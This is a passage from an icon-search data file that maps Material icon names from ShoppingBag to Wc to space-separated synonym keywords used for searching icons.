ShoppingBag:\n    'bill business buy card cart cash coin commerce credit currency dollars money online payment storefront',\n  ShoppingBasket:\n    'add bill buy card cart cash checkout coin commerce credit currency dollars money online payment purchase',\n  ShoppingCart:\n    'add bill buy card cash checkout coin commerce credit currency dollars money online payment purchase',\n  ShoppingCartCheckout:\n    'arrow cash coin commerce currency dollars money online payment right',\n  ShopTwo: 'add arrow briefcase buy cart google play purchase shopping',\n  Shortcut: 'arrow direction forward right',\n  ShortText: 'brief comment document lines note write writing',\n  ShowChart:\n    'analytics bars chart data diagram infographic line measure metrics presentation show statistics stock tracking',\n  Shower: 'bathroom closet home house place plumbing sprinkler wash water wc',\n  Shuffle: 'arrows controls music random video',\n  ShuffleOn: 'arrows controls music random video',\n  ShutterSpeed:\n    'aperture camera duration image lens photography photos picture setting stop timer watch',\n  Sick: 'covid discomfort emotions expressions face feelings fever flu ill mood pain person survey upset',\n  SignalCellular0Bar: 'data internet mobile network phone speed wifi wireless',\n  SignalCellular4Bar: 'data internet mobile network phone speed wifi wireless',\n  SignalCellularAlt:\n    'analytics bar chart data diagram infographic internet measure metrics mobile network phone statistics tracking wifi wireless',\n  SignalCellularAlt1Bar: 'data internet mobile network phone speed wifi wireless',\n  SignalCellularAlt2Bar: 'data internet mobile network phone speed wifi wireless',\n  SignalCellularConnectedNoInternet0Bar:\n    '! alert attention caution danger data error exclamation important mark mobile network notification phone symbol warning wifi wireless',\n  SignalCellularConnectedNoInternet1Bar: 'network',\n  SignalCellularConnectedNoInternet2Bar: 'network',\n  SignalCellularConnectedNoInternet3Bar: 'network',\n  SignalCellularConnectedNoInternet4Bar:\n    '! alert attention caution danger data error exclamation important mark mobile network notification phone symbol warning wifi wireless',\n  SignalCellularNodata:\n    'clear internet mobile network offline phone quit remove wifi wireless x',\n  SignalCellularNoSim:\n    'camera card chip device disabled enabled memory network offline phone slash storage',\n  SignalCellularNull: 'data internet mobile network phone wifi wireless',\n  SignalCellularOff:\n    'data disabled enabled internet mobile network offline phone slash wifi wireless',\n  SignalWifi0Bar: 'cellular data internet mobile network phone wireless',\n  SignalWifi1Bar: 'network',\n  SignalWifi1BarLock: 'network',\n  SignalWifi2Bar: 'network',\n  SignalWifi2BarLock: 'network',\n  SignalWifi3Bar: 'network',\n  SignalWifi3BarLock: 'network',\n  SignalWifi4Bar: 'cellular data internet mobile network phone wireless',\n  SignalWifi4BarLock:\n    'cellular data internet locked mobile network password phone privacy private protection safety secure security wireless',\n  SignalWifiBad:\n    'bar cancel cellular clear close data exit internet mobile network no phone quit remove stop wireless',\n  SignalWifiConnectedNoInternet4:\n    'cellular data mobile network offline phone wireless x',\n  SignalWifiOff:\n    'cellular data disabled enabled internet mobile network phone slash speed wireless',\n  SignalWifiStatusbar4Bar:\n    'cellular data internet mobile network phone speed wireless',\n  SignalWifiStatusbarConnectedNoInternet4:\n    '! alert attention caution cellular danger data error exclamation important mark mobile network notification phone speed symbol warning wireless',\n  SignalWifiStatusbarNull:\n    'cellular data internet mobile network phone speed wireless',\n  SignLanguage: 'communication deaf fingers gesture hand',\n  Signpost: 'arrow direction left maps right signal signs street traffic',\n  SimCard: 'camera chip device memory network phone storage',\n  SimCardAlert:\n    '! attention camera caution danger digital error exclamation important mark memory notification photos sd secure storage symbol warning',\n  SimCardDownload: 'arrow camera chip device memory phone storage',\n  SingleBed:\n    'bedroom double furniture home hotel house king night pillows queen rest sleep twin',\n  Sip: 'alphabet call character dialer font initiation internet letters over phone protocol routing session symbol text type voice',\n  SixK: '6000 6K alphabet character digit display font letters numbers pixels resolution symbol text type video',\n  SixKPlus:\n    '+ 6000 6K alphabet character digit display font letters numbers pixels resolution symbol text type video',\n  SixMp:\n    'camera digit font image letters megapixels numbers quality resolution symbol text type',\n  SixteenMp:\n    'camera digits font image letters megapixels numbers quality resolution symbol text type',\n  SixtyFps: 'camera digit frames numbers symbol video',\n  SixtyFpsSelect: 'camera digits frame frequency numbers per rate seconds video',\n  Skateboarding:\n    'athlete athletic body entertainment exercise hobby human people person skateboarder social sports',\n  SkipNext: 'arrow back controls forward music play previous transport video',\n  SkipPrevious: 'arrow backward controls forward music next play transport video',\n  Sledding:\n    'athlete athletic body entertainment exercise hobby human people person sledge snow social sports travel winter',\n  Slideshow: 'movie photos play presentation square video view',\n  SlowMotionVideo: 'arrow circle controls dashed music play speed time',\n  SmartButton:\n    'action artificial automatic automation components composer custom function genai intelligence interface magic sparkle special stars ui ux website',\n  SmartDisplay:\n    'airplay chrome connect device screencast stream television tv video wireless',\n  Smartphone: 'Android call cellphone chat device hardware iOS mobile tablet text',\n  SmartScreen:\n    'Android airplay cell connect device hardware iOS mobile phone screencast stream tablet video',\n  SmartToy: 'droid games robot',\n  SmokeFree:\n    'cigarette disabled enabled never no off places prohibited slash smoking tobacco warning zone',\n  SmokingRooms: 'allowed cigarette places smoke tobacco zone',\n  Sms: '3 bubble chat comment communication conversation dots message more service speech three',\n  SmsFailed:\n    '! alert announcement attention bubbles caution chat comment communicate communication conversation danger error exclamation feedback important mark message notification service speech symbol warning',\n  SnippetFolder: 'data document drive file sheet slide storage',\n  Snooze: 'alarm bell clock duration notification set timer watch',\n  Snowboarding:\n    'athlete athletic body entertainment exercise hobby human people person social sports travel winter',\n  Snowmobile:\n    'automobile car direction skimobile social sports transportation travel vehicle winter',\n  Snowshoeing: 'body human people person sports travel walking winter',\n  Soap: 'bathroom clean fingers gesture hand wash wc',\n  SocialDistance: '6 apart body ft human people person space',\n  SolarPower: 'eco energy heat nest sunny',\n  Sort: 'filter find lines list organize',\n  SortByAlpha:\n    'alphabetize az by character font letters list order organize symbol text type',\n  Sos: 'font help letters save text type',\n  SoupKitchen: 'breakfast brunch dining food lunch meal',\n  Source:\n    'code composer content creation data document file folder mode storage view',\n  South: 'arrow directional down maps navigation',\n  SouthAmerica: 'america continent landscape place region south',\n  SouthEast: 'arrow directional down maps navigation right',\n  SouthWest: 'arrow directional down left maps navigation',\n  Spa: 'aromatherapy flower healthcare leaf massage meditation nature petals places relax wellbeing wellness',\n  SpaceBar: 'keyboard line',\n  SpaceDashboard: 'cards format grid layout rectangle shapes squares website',\n  SpatialAudio: 'music note sound',\n  SpatialAudioOff: '[offline] disabled enabled music note on slash sound',\n  SpatialTracking: '[offline] audio disabled enabled music note on slash sound',\n  Speaker: 'audio box electronic loud music sound stereo system video',\n  SpeakerGroup: 'audio box electronic loud multiple music sound stereo system video',\n  SpeakerNotes:\n    'bubble cards chat comment communicate format list message speech text',\n  SpeakerNotesOff:\n    'bubble cards chat comment communicate disabled enabled format list message on slash speech text',\n  SpeakerPhone: 'Android audio cell device hardware iOS mobile sound tablet volume',\n  Speed:\n    'arrow clock controls dial fast gauge measure motion music slow speedometer test velocity video',\n  Spellcheck:\n    'alphabet approve character checkmark edit font letters ok processor proofread select symbol text tick type word write yes',\n  Splitscreen: 'column grid layout multitasking row spaces two window',\n  Spoke: 'connection network radius',\n  Sports:\n    'athlete athletic basketball blowing coach entertainment exercise game hobby instrument live referee soccer social sound trophy warning whistle',\n  SportsBar: 'alcohol beer drink liquor pint places pub',\n  SportsBaseball: 'athlete athletic entertainment exercise game hobby social',\n  SportsBasketball: 'athlete athletic entertainment exercise game hobby social',\n  SportsCricket:\n    'athlete athletic ball bat entertainment exercise game hobby social',\n  SportsEsports:\n    'asset console controller device entertainment gamepad gaming google handheld hardware hobby online playstation remote social stadia videogame xbox',\n  SportsFootball:\n    'american athlete athletic entertainment exercise game hobby social',\n  SportsGolf:\n    'athlete athletic ball club entertainment exercise game golfer golfing hobby social',\n  SportsGymnastics: 'athlete athletic entertainment exercise hobby social',\n  SportsHandball:\n    'athlete athletic body entertainment exercise game hobby human people person social',\n  SportsHockey:\n    'athlete athletic entertainment exercise game hobby ice social sticks',\n  SportsKabaddi:\n    'athlete athletic body combat entertainment exercise fighting game hobby human judo martial people person social wrestle wrestling',\n  SportsMartialArts:\n    'athlete athletic entertainment exercise hobby human karate people person social',\n  SportsMma:\n    'arts athlete athletic boxing combat entertainment exercise fighting game glove hobby martial mixed social',\n  SportsMotorsports:\n    'athlete athletic automobile bike drive driving entertainment helmet hobby motorcycle protect social vehicle',\n  SportsRugby: 'athlete athletic ball entertainment exercise game hobby social',\n  SportsScore: 'destination flag goal',\n  SportsSoccer: 'athlete athletic entertainment exercise football game hobby social',\n  SportsTennis:\n    'athlete athletic ball bat entertainment exercise game hobby racket social',\n  SportsVolleyball: 'athlete athletic entertainment exercise game hobby social',\n  Square: 'draw four quadrangle shape sides',\n  SquareFoot: 'construction feet inches length measurement ruler school set tools',\n  SsidChart: 'graph lines network wifi',\n  StackedBarChart:\n    'analytics chart-chart data diagram infographic measure metrics statistics tracking',\n  StackedLineChart:\n    'analytics data diagram infographic measure metrics statistics tracking',\n  Stadium: 'activity amphitheater arena coliseum event local star things ticket',\n  Stairs: 'down staircase stairway stairwell steps up',\n  Star: 'best bookmark favorite highlight ranking rate rating save toggle',\n  StarBorder:\n    'best bookmark favorite highlight outline ranking rate rating save toggle',\n  StarBorderPurple500:\n    'best bookmark favorite highlight outline ranking rate rating save toggle',\n  StarHalf:\n    '0.5 1/2 achievement bookmark favorite highlight important marked ranking rate rating reward saved shape special toggle',\n  StarOutline: 'bookmark favorite half highlight ranking rate rating save toggle',\n  StarPurple500: 'best bookmark favorite highlight ranking rate rating save toggle',\n  StarRate:\n    'achievement bookmark favorite highlight important marked ranking rating reward saved shape special',\n  Stars:\n    'achievement bookmark circle favorite highlight important like love marked ranking rate rating reward saved shape special',\n  Start: 'arrow keyboard next right',\n  StayCurrentLandscape: 'Android device hardware iOS mobile phone tablet',\n  StayCurrentPortrait: 'Android device hardware iOS mobile phone tablet',\n  StayPrimaryLandscape: 'Android current device hardware iOS mobile phone tablet',\n  StayPrimaryPortrait: 'Android current device hardware iOS mobile phone tablet',\n  StickyNote2: 'bookmark message paper text writing',\n  Stop: 'arrow controls music pause player square video',\n  StopCircle: 'controls music pause play square video',\n  StopScreenShare:\n    'Android arrow cast chrome device disabled display enabled hardware iOS laptop mac mirror monitor offline slash steam streaming web window',\n  Storage: 'computer database drive memory network server',\n  Store:\n    'bill building business buy card cash coin company credit currency dollars e-commerce market money online payment purchase shopping storefront',\n  Storefront:\n    'business buy cafe commerce market merchant places restaurant retail sell shopping stall',\n  StoreMallDirectory: 'building',\n  Storm: 'forecast hurricane temperature twister weather wind',\n  Straight: 'arrows directions maps navigation path route sign traffic up',\n  Straighten: 'length measurement piano ruler size',\n  Stream: 'cast connected feed live network signal wireless',\n  Streetview: 'gps location maps',\n  StrikethroughS:\n    'alphabet character cross doc editing editor font letters out spreadsheet styles symbol text type writing',\n  Stroller: 'baby care carriage children infant kid newborn toddler young',\n  Style: 'booklet cards filters options tags',\n  SubdirectoryArrowLeft: 'arrow down navigation',\n  SubdirectoryArrowRight: 'arrow down navigation',\n  Subject: 'alignment document email full justify lines list note text writing',\n  Subscript:\n    '2 doc editing editor gmail novitas spreadsheet style symbol text writing',\n  Subscriptions: 'enroll media order playlist queue signup stack subscribe youtube',\n  Subtitles:\n    'accessibility accessible captions character closed decoder language live media movies translate tv',\n  SubtitlesOff:\n    'accessibility accessible caption closed disabled enabled language live slash translate video',\n  Subway:\n    'automobile bike cars maps metro rail scooter train transportation travel tunnel underground vehicle vespa',\n  Summarize: 'document form list menu note report summary',\n  Superscript:\n    '2 doc editing editor gmail novitas spreadsheet style symbol text writing',\n  SupervisedUserCircle:\n    'account avatar control face human parental parents people person profile supervisor',\n  SupervisorAccount:\n    'administrator avatar control custodian face guardian human parental parents people person profile supervised user',\n  Support: 'assist help lifebuoy rescue safety',\n  SupportAgent: 'care customer face headphone person representative service',\n  Surfing:\n    'athlete athletic beach body entertainment exercise hobby human people person sea social sports summer water wave',\n  SurroundSound: 'audio circle signal speaker system volume volumn wireless',\n  SwapCalls: 'arrows device direction mobile share',\n  SwapHoriz: 'arrows back direction forward horizontal',\n  SwapHorizontalCircle: 'arrows back direction forward',\n  SwapVert: 'arrows back direction down navigation sorting up vertical',\n  SwapVerticalCircle: 'arrows back direction down horizontal up',\n  Swipe: 'arrows fingers gesture hands touch',\n  SwipeDown:\n    'arrows direction disable enable finger hands hit navigation strike swing swpie take',\n  SwipeDownAlt:\n    'arrows direction disable enable finger hands hit navigation strike swing swpie take',\n  SwipeLeft: 'arrows finger hand hit navigation reject strike swing take',\n  SwipeLeftAlt: 'arrows finger hand hit navigation reject strike swing take',\n  SwipeRight:\n    'accept arrows direction finger hands hit navigation strike swing swpie take',\n  SwipeRightAlt:\n    'accept arrows direction finger hands hit navigation strike swing swpie take',\n  SwipeUp:\n    'arrows direction disable enable finger hands hit navigation strike swing swpie take',\n  SwipeUpAlt:\n    'arrows direction disable enable finger hands hit navigation strike swing swpie take',\n  SwipeVertical:\n    'arrows direction finger hands hit navigation strike swing swpie take verticle',\n  SwitchAccessShortcut: 'arrows direction navigation new north star symbol up',\n  SwitchAccessShortcutAdd:\n    '+ arrows direction navigation new north plus star symbol up',\n  SwitchAccount:\n    'choices face human multiple options people person profile social stack user',\n  SwitchCamera: 'arrows photography picture',\n  SwitchLeft: 'arrows directional navigation toggle',\n  SwitchRight: 'arrows directional navigation toggle',\n  SwitchVideo: 'arrows camera photography videos',\n  Synagogue: 'ideology jewish religion shul spiritual temple worship',\n  Sync: '360 around arrows direction inprogress loading refresh renew rotate turn',\n  SyncAlt: 'arrows horizontal internet technology update wifi',\n  SyncDisabled:\n    '360 around arrows direction enabled inprogress loading off refresh renew rotate slash turn',\n  SyncLock:\n    'around arrows locked password privacy private protection renew rotate safety secure security turn',\n  SyncProblem:\n    '! 360 alert around arrows attention caution danger direction error exclamation important inprogress loading mark notification refresh renew rotate symbol turn warning',\n  SystemSecurityUpdate:\n    'Android arrow cell device down hardware iOS mobile phone tablet',\n  SystemSecurityUpdateGood:\n    'Android approve cell check complete device done hardware iOS mark mobile ok phone select tablet tick validate verified yes',\n  SystemSecurityUpdateWarning:\n    '! Android alert attention caution cell danger device error exclamation hardware iOS important mark mobile notification phone symbol tablet',\n  SystemUpdate:\n    'Android arrows cell device direction download hardware iOS install mobile phone tablet',\n  SystemUpdateAlt: 'arrow download export',\n  Tab: 'browser computer documents folder internet tabs website windows',\n  TableBar: 'cafe round',\n  TableChart:\n    'analytics bars data diagram grid infographic measure metrics statistics tracking',\n  TableRestaurant: 'bar dining',\n  TableRows: 'background grid layout lines stacked',\n  Tablet: 'Android device hardware iOS ipad mobile web',\n  TabletAndroid: 'device hardware iOS ipad mobile web',\n  TabletMac: 'Android apple device hardware iOS ipad mac mobile tablet web',\n  TableView: 'format grid group layout multiple',\n  TabUnselected:\n    'browser computer dashed documents folder internet tabs website windows',\n  Tag: 'hashtag key media numbers pound social trend',\n  TagFaces: 'emoji emotion happy satisfied smile',\n  TakeoutDining: 'box container delivery food meal restaurant',\n  TapAndPlay:\n    'Android cell connection device hardware iOS internet mobile network nfc phone signal tablet to wifi wireless',\n  Tapas: 'appetizer brunch dinner food lunch restaurant snack',\n  Task: 'approve check complete data document done drive file folders mark ok page paper select sheet slide tick validate verified writing yes',\n  TaskAlt:\n    'approve check circle complete done mark ok select tick validate verified yes',\n  TaxiAlert:\n    '! attention automobile cab cars caution danger direction error exclamation important lyft maps mark notification public symbol transportation uber vehicle warning yellow',\n  Telegram: 'brand call chat logo messaging voice',\n  TempleBuddhist: 'buddha buddhism ideology monastery religion spiritual worship',\n  TempleHindu: 'hinduism hindus ideology mandir religion spiritual worship',\n  TenMp:\n    'camera digits font image letters megapixels numbers quality resolution symbol text type',\n  Terminal: 'application code emulator program software',\n  Terrain: 'geography landscape mountain',\n  TextDecrease:\n    '- alphabet character font letters minus remove resize subtract symbol type',\n  TextFields: 'T add alphabet character font input letters symbol type',\n  TextFormat: 'A alphabet character font letters square style symbol type',\n  TextIncrease: '+ add alphabet character font letters new plus resize symbol type',\n  TextRotateUp: 'A alphabet arrow character field font letters move symbol type',\n  TextRotateVertical:\n    'A alphabet arrow character down field font letters move symbol type verticle',\n  TextRotationAngledown:\n    'A alphabet arrow character field font letters move rotate symbol type',\n  TextRotationAngleup:\n    'A alphabet arrow character field font letters move rotate symbol type',\n  TextRotationDown:\n    'A alphabet arrow character field font letters move rotate symbol type',\n  TextRotationNone:\n    'A alphabet arrow character field font letters move rotate symbol type',\n  Textsms: 'bubble chat comment communicate dots feedback message speech',\n  TextSnippet: 'data document file notes storage writing',\n  Texture: 'diagonal lines pattern stripes',\n  TheaterComedy: 'broadway event masks movie musical places show standup tour watch',\n  Theaters: 'film media movies photography showtimes video watch',\n  Thermostat: 'climate forecast temperature weather',\n  ThermostatAuto: 'A celsius fahrenheit temperature thermometer',\n  ThirteenMp:\n    'camera digits font image letters megapixels numbers quality resolution symbol text type',\n  ThirtyFps:\n    'alphabet camera character digit font frames letters numbers symbol text type video',\n  ThirtyFpsSelect:\n    'camera digits frame frequency image numbers per rate seconds video',\n  ThreeDRotation:\n    '3d D alphabet arrows av camera character digit font letters numbers symbol text type virtual_reality vr',\n  ThreeGMobiledata:\n    'alphabet cellular character digit font letters network numbers phone signal speed symbol text type wifi',\n  ThreeK:\n    '3000 3K alphabet character digit display font letters numbers pixels resolution symbol text type video',\n  ThreeKPlus:\n    '+ 3000 3K alphabet character digit display font letters numbers pixels resolution symbol text type video',\n  ThreeMp:\n    'camera digit font image letters megapixels numbers quality resolution symbol text type',\n  ThreeP:\n    'account avatar bubble chat comment communicate face human message party people person profile speech user',\n  ThreeSixty: 'arrow av camera direction reality rotate rotation virtual vr',\n  ThumbDown:\n    'dislike downvote favorite fingers gesture hands ranking rate rating reject up',\n  ThumbDownAlt:\n    'bad decline disapprove dislike feedback hand hate negative no reject social veto vote',\n  ThumbDownOffAlt:\n    '[offline] bad decline disabled disapprove dislike enabled favorite feedback filled fingers gesture hands hate negative no on ranking rate rating reject sad slash social veto vote',\n  ThumbsUpDown: 'dislike favorite fingers gesture hands rate rating vote',\n  ThumbUp:\n    'approve dislike down favorite fingers gesture hands ranking rate rating success upvote',\n  ThumbUpAlt:\n    'agreed approved confirm correct favorite feedback good hand happy like okay positive satisfaction social success vote yes',\n  ThumbUpOffAlt:\n    '[offline] agreed approved confirm correct disabled enabled favorite feedback fingers gesture good hands happy like okay positive ranking rate rating satisfaction slash social vote yes',\n  Thunderstorm: 'bolt climate cloudy lightning rainfall rainstorm weather',\n  Timelapse: 'duration motion photo timer video',\n  Timeline:\n    'analytics chart data graph history line movement points tracking trending zigzag zigzap',\n  Timer:\n    'alarm alart alert bell clock disabled duration enabled notification off slash stopwatch wait',\n  Timer10:\n    'alarm alert bell clock digits disabled duration enabled notification numbers seconds ten watch',\n  Timer10Select:\n    'alphabet camera character digit font letters numbers seconds symbol ten text type',\n  Timer3: 'digits duration numbers seconds three',\n  Timer3Select:\n    'alphabet camera character digit font letters numbers seconds symbol text three type',\n  TimerOff:\n    'alarm alart alert bell clock disabled duration enabled notification slash stopwatch',\n  TimesOneMobiledata:\n    'alphabet cellular character digit font letters network numbers phone signal speed symbol text type wifi',\n  TimeToLeave:\n    'automobile cars destination direction drive estimate eta maps public transportation travel trip vehicle',\n  TipsAndUpdates:\n    'alert announcement artificial automatic automation custom electricity genai idea information intelligence lamp lightbulb magic smart sparkle stars',\n  TireRepair: 'automobile cars gauge mechanic pressure vehicle',\n  Title: 'T alphabet character font header letters subject symbol text type',\n  Toc: 'content format lines list reorder stacked table text titles',\n  Today:\n    'agenda calendar date event mark month range remember reminder schedule time week',\n  ToggleOff:\n    'application components configuration control design disable inable inactive interface selection settings slider switch ui ux website',\n  ToggleOn:\n    'application components configuration control design disable inable inactive interface off selection settings slider switch ui ux website',\n  Token: 'badge hexagon mark shield sign symbol',\n  Toll: 'bill booth card cash circles coin commerce credit currency dollars highway money online payment ticket',\n  Tonality: 'circle editing filter greyscale image photography picture shade shadow',\n  Topic: 'data document drive file folder sheet slide storage',\n  Tornado: 'crisis disaster natural rain storm weather wind',\n  TouchApp: 'arrow command fingers gesture hand long press swipe tap',\n  Tour: 'destination flag places travel visit',\n  Toys: 'car fan games kids windmill',\n  TrackChanges: 'bullseye circle evolve lines movement radar rotate shift target',\n  Traffic: 'direction light maps signal street',\n  Train:\n    'automobile cars direction maps public railway subway tram transit transportation trolley vehicle',\n  Tram: 'automobile cars direction maps public railway subway train transit transportation trolley vehicle',\n  TransferWithinAStation:\n    'arrows body direction human left maps people person public right route stop transit transportation vehicle walk',\n  Transform: 'adjust crop editing image photo picture',\n  Transgender: 'female lgbt neutral neutrual social symbol',\n  TransitEnterexit: 'arrow direction maps navigation route transportation',\n  Translate: 'alphabet language letter speaking speech text translator words',\n  TravelExplore:\n    'browser earth find glass global globe look magnifying map network planet search see social space web world',\n  TrendingDown:\n    'analytics arrow change chart data diagram infographic measure metrics movement rate rating sale statistics tracking',\n  TrendingFlat: 'arrow change chart data graph metric movement rate right tracking',\n  TrendingUp:\n    'analytics arrow change chart data diagram infographic measure metrics movement rate rating statistics tracking',\n  TripOrigin: 'circle departure',\n  Troubleshoot:\n    'analytics chart data diagram find glass infographic line look magnifying measure metrics search see statistics tracking',\n  Try: 'bookmark bubble chat comment communicate favorite feedback highlight important marked message saved shape special speech star',\n  Tsunami: 'crisis disaster flood ocean rain sea storm water wave weather',\n  Tty: 'call cell contact deaf device hardware impaired mobile speech talk telephone text',\n  Tune: 'adjust audio controls customize editing filters instant mix music options settings sliders switches',\n  Tungsten:\n    'balance bright editing electricity indoor iridescent lamp lightbulb lighting settings white wp',\n  TurnedIn:\n    'archive bookmark favorite item label library reading remember ribbon save submit tag',\n  TurnedInNot:\n    'archive bookmark favorite item label library outline reading remember ribbon save submit tag',\n  TurnLeft: 'arrows directions maps navigation path route sign traffic',\n  TurnRight: 'arrows directions maps navigation path route sign traffic',\n  TurnSharpLeft: 'arrows directions maps navigation path route sign traffic',\n  TurnSharpRight: 'arrows directions maps navigation path route sign traffic',\n  TurnSlightLeft: 'arrows directions maps navigation path right route sign traffic',\n  TurnSlightRight: 'arrows directions maps navigation path route sharp sign traffic',\n  Tv: 'device display linear living monitor room screencast stream television video wireless',\n  TvOff:\n    'Android chrome desktop device disabled enabled hardware iOS mac monitor slash television web window',\n  TwelveMp:\n    'camera digits font image letters megapixels numbers quality resolution symbol text type',\n  TwentyFourMp:\n    'camera digits font image letters megapixels numbers quality resolution symbol text type',\n  TwentyOneMp:\n    'camera digits font image letters megapixels numbers quality resolution symbol text type',\n  TwentyThreeMp:\n    'camera digits font image letters megapixels numbers quality resolution symbol text type',\n  TwentyTwoMp:\n    'camera digits font image letters megapixels numbers quality resolution symbol text type',\n  TwentyZeroMp:\n    'camera digits font image letters megapixels numbers quality resolution symbol text type',\n  Twitter: 'brand logo social',\n  TwoK: '2000 2K alphabet character digit display font letters numbers pixels resolution symbol text type video',\n  TwoKPlus: '+ alphabet character digit font letters numbers symbol text type',\n  TwoMp:\n    'camera digit font image letters megapixels numbers quality resolution symbol text type',\n  TwoWheeler:\n    'automobile bicycle cars direction maps moped motorbike motorcycle public ride riding scooter transportation travel twom vehicle wheeler wheels',\n  Umbrella: 'beach protection rain sunny',\n  Unarchive: 'arrow inbox mail store undo up',\n  Undo: 'arrow backward mail previous redo repeat rotate',\n  UnfoldLess:\n    'arrows chevron collapse direction expandable inward list navigation up',\n  UnfoldLessDouble:\n    'arrows chevron collapse direction expandable inward list navigation up',\n  UnfoldMore: 'arrows chevron collapse direction down expandable list navigation',\n  UnfoldMoreDouble:\n    'arrows chevron collapse direction down expandable list navigation',\n  Unpublished:\n    'approve check circle complete disabled done enabled mark off ok select slash tick validate verified yes',\n  Unsubscribe:\n    'cancel close email envelop esubscribe letters message newsletter off remove send',\n  Upcoming: 'alarm calendar mail message notification',\n  Update:\n    'arrow backwards clock forward future history load refresh reverse rotate schedule time',\n  UpdateDisabled:\n    'arrow backwards clock enabled forward history load off on refresh reverse rotate schedule slash time',\n  Upgrade: 'arrow export instal line replace update',\n  Upload: 'arrows download drive',\n  UploadFile:\n    'arrow data document download drive folders page paper sheet slide writing',\n  Usb: 'cable connection device wire',\n  UsbOff: 'cable connection device wire',\n  UTurnLeft: 'arrows directions maps navigation path route sign traffic u-turn',\n  UTurnRight: 'arrows directions maps navigation path route sign traffic u-turn',\n  Vaccines:\n    'aid covid doctor drug emergency hospital immunity injection medical medication medicine needle pharmacy sick syringe vaccination vial',\n  VapeFree:\n    'disabled e-cigarette enabled never no off places prohibited slash smoke smoking tobacco vaping vapor warning zone',\n  VapingRooms:\n    'allowed e-cigarette never no places prohibited smoke smoking tobacco vape vapor warning zone',\n  Verified:\n    'approve badge burst check complete done mark ok select star tick validate yes',\n  VerifiedUser:\n    'approve audit certified checkmark complete done ok privacy private protection security select shield tick validate yes',\n  VerticalAlignBottom:\n    'alignment arrow doc down editing editor spreadsheet text type writing',\n  VerticalAlignCenter:\n    'alignment arrow doc down editing editor spreadsheet text type up writing',\n  VerticalAlignTop:\n    'alignment arrow doc editing editor spreadsheet text type up writing',\n  VerticalShades: 'blinds cover curtains nest open shutter sunshade',\n  VerticalShadesClosed: 'blinds cover curtains nest roller shutter sunshade',\n  VerticalSplit: 'design format grid layout paragraph text website writing',\n  Vibration:\n    'Android alert cell device hardware iOS mobile mode motion notification phone silence silent tablet vibrate',\n  VideoCall:\n    '+ add camera chat conference filming hardware image motion new picture plus screen symbol videography',\n  Videocam:\n    'camera chat conference filming hardware image motion picture screen videography',\n  VideoCameraBack: 'image landscape mountains photography picture rear',\n  VideoCameraFront:\n    'account face human image people person photography picture profile user',\n  VideocamOff:\n    'camera chat conference disabled enabled filming hardware image motion offline picture screen slash videography',\n  VideoChat:\n    'bubble camera comment communicate facetime feedback message speech voice',\n  VideoFile: 'camera document filming hardware image motion picture videography',\n  VideogameAsset:\n    'console controller device entertainment esports gamepad gaming google handheld hardware hobby nintendo online playstation remote social stadia video xbox',\n  VideogameAssetOff:\n    'console controller device disabled enabled entertainment esports gamepad gaming google handheld hardware hobby online playstation remote slash social stadia video xbox',\n  VideoLabel: 'device item screen window',\n  VideoLibrary: 'arrow collection play',\n  VideoSettings:\n    'change details gear information options play screen service window',\n  VideoStable: 'filming recording setting stability taping',\n  ViewAgenda: 'blocks cards design format grid layout website,stacked',\n  ViewArray: 'blocks design format grid layout website',\n  ViewCarousel: 'banner blocks cards design format grid images layout website',\n  ViewColumn: 'blocks design format grid layout vertical website',\n  ViewComfy: 'grid layout pattern squares',\n  ViewComfyAlt: 'cozy design format layout web',\n  ViewCompact: 'grid layout pattern squares',\n  ViewCompactAlt: 'dense design format layout web',\n  ViewCozy: 'comfy design format layout web',\n  ViewDay: 'blocks calendar cards carousel design format grid layout website week',\n  ViewHeadline: 'blocks design format grid layout paragraph text website',\n  ViewInAr: '3d augmented cube daydream headset square virtual_reality vr',\n  ViewKanban: 'grid layout pattern squares',\n  ViewList: 'blocks design format grid layout lines reorder stacked title website',\n  ViewModule:\n    'blocks design format grid layout reorder squares stacked title website',\n  ViewQuilt:\n    'blocks design format grid layout reorder squares stacked title website',\n  ViewSidebar: 'design format grid layout web',\n  ViewStream:\n    'blocks design format grid layout lines list reorder stacked title website',\n  ViewTimeline: 'grid layout pattern squares',\n  ViewWeek: 'bars blocks columns day design format grid layout website',\n  Vignette: 'border editing effect filter gradient image photography setting',\n  Villa:\n    'architecture beach estate home house maps place real residence residential stay traveling vacation',\n  Visibility: 'eye on password preview reveal see shown visability',\n  VisibilityOff:\n    'disabled enabled eye hidden invisible on password reveal see show slash view visability',\n  VoiceChat:\n    'bubble camera comment communicate facetime feedback message speech video',\n  Voicemail: 'call device message missed mobile phone recording',\n  VoiceOverOff:\n    'account disabled enabled face human mute people person profile recording slash speaking speech transcript user',\n  Volcano: 'crisis disaster eruption lava magma natural',\n  VolumeDown: 'audio av control music quieter shh soft sound speaker tv',\n  VolumeMute: 'audio control music sound speaker tv',\n  VolumeOff:\n    'audio av control disabled enabled low music mute slash sound speaker tv',\n  VolumeUp: 'audio control music sound speaker tv',\n  VolunteerActivism: 'donation fingers gesture giving hands heart love sharing',\n  VpnKey:\n    'access door entry login network passcode password register security signin signup unlock',\n  VpnKeyOff:\n    '[offline] access disabled door enabled entry network on passcode password slash unlock',\n  VpnLock:\n    'earth globe locked network password privacy private protection safety secure security virtual world',\n  Vrpano: 'angle image landscape mountains panorama photography picture view wide',\n  Wallpaper: 'background dashed image landscape photography picture',\n  Warehouse: 'garage industry manufacturing storage',\n  Warning:\n    '! alert announcement attention caution danger error exclamation feedback important mark notification problem symbol triangle',\n  WarningAmber:\n    '! alert attention caution danger error exclamation important mark notification symbol triangle',\n  Wash: 'bathroom clean fingers gesture hand wc',\n  Watch: 'Android clock gadget iOS smartwatch time vr wearables web wristwatch',\n  WatchLater: 'clock date hour minute schedule time',\n  WatchOff: 'Android clock close gadget iOS shut time vr wearables web wristwatch',\n  Water: 'aqua beach lake ocean river waves weather',\n  WaterDamage:\n    'architecture building droplet estate house leak plumbing real residence residential shelter',\n  WaterDrop: 'drink droplet eco liquid nature ocean rain social',\n  WaterfallChart:\n    'analytics bar data diagram infographic measure metrics statistics tracking',\n  Waves: 'beach lake ocean pool river sea swim water',\n  WavingHand: 'fingers gesture goodbye greetings hello palm wave',\n  WbAuto:\n    'A W alphabet automatic balance character editing font image letters photography symbol text type white wp',\n  WbCloudy: 'balance editing white wp',\n  WbIncandescent: 'balance bright editing lamp lightbulb lighting settings white wp',\n  WbIridescent:\n    'balance bright editing electricity indoor lamp lightbulb lighting settings tungsten white wp',\n  WbShade: 'balance house lighting white',\n  WbSunny: 'balance bright lighting weather white',\n  WbTwilight: 'balance lighting noon sunset white',\n  Wc: 'bathroom closet female gender man person restroom toilet unisex wash water women',\n  Web: 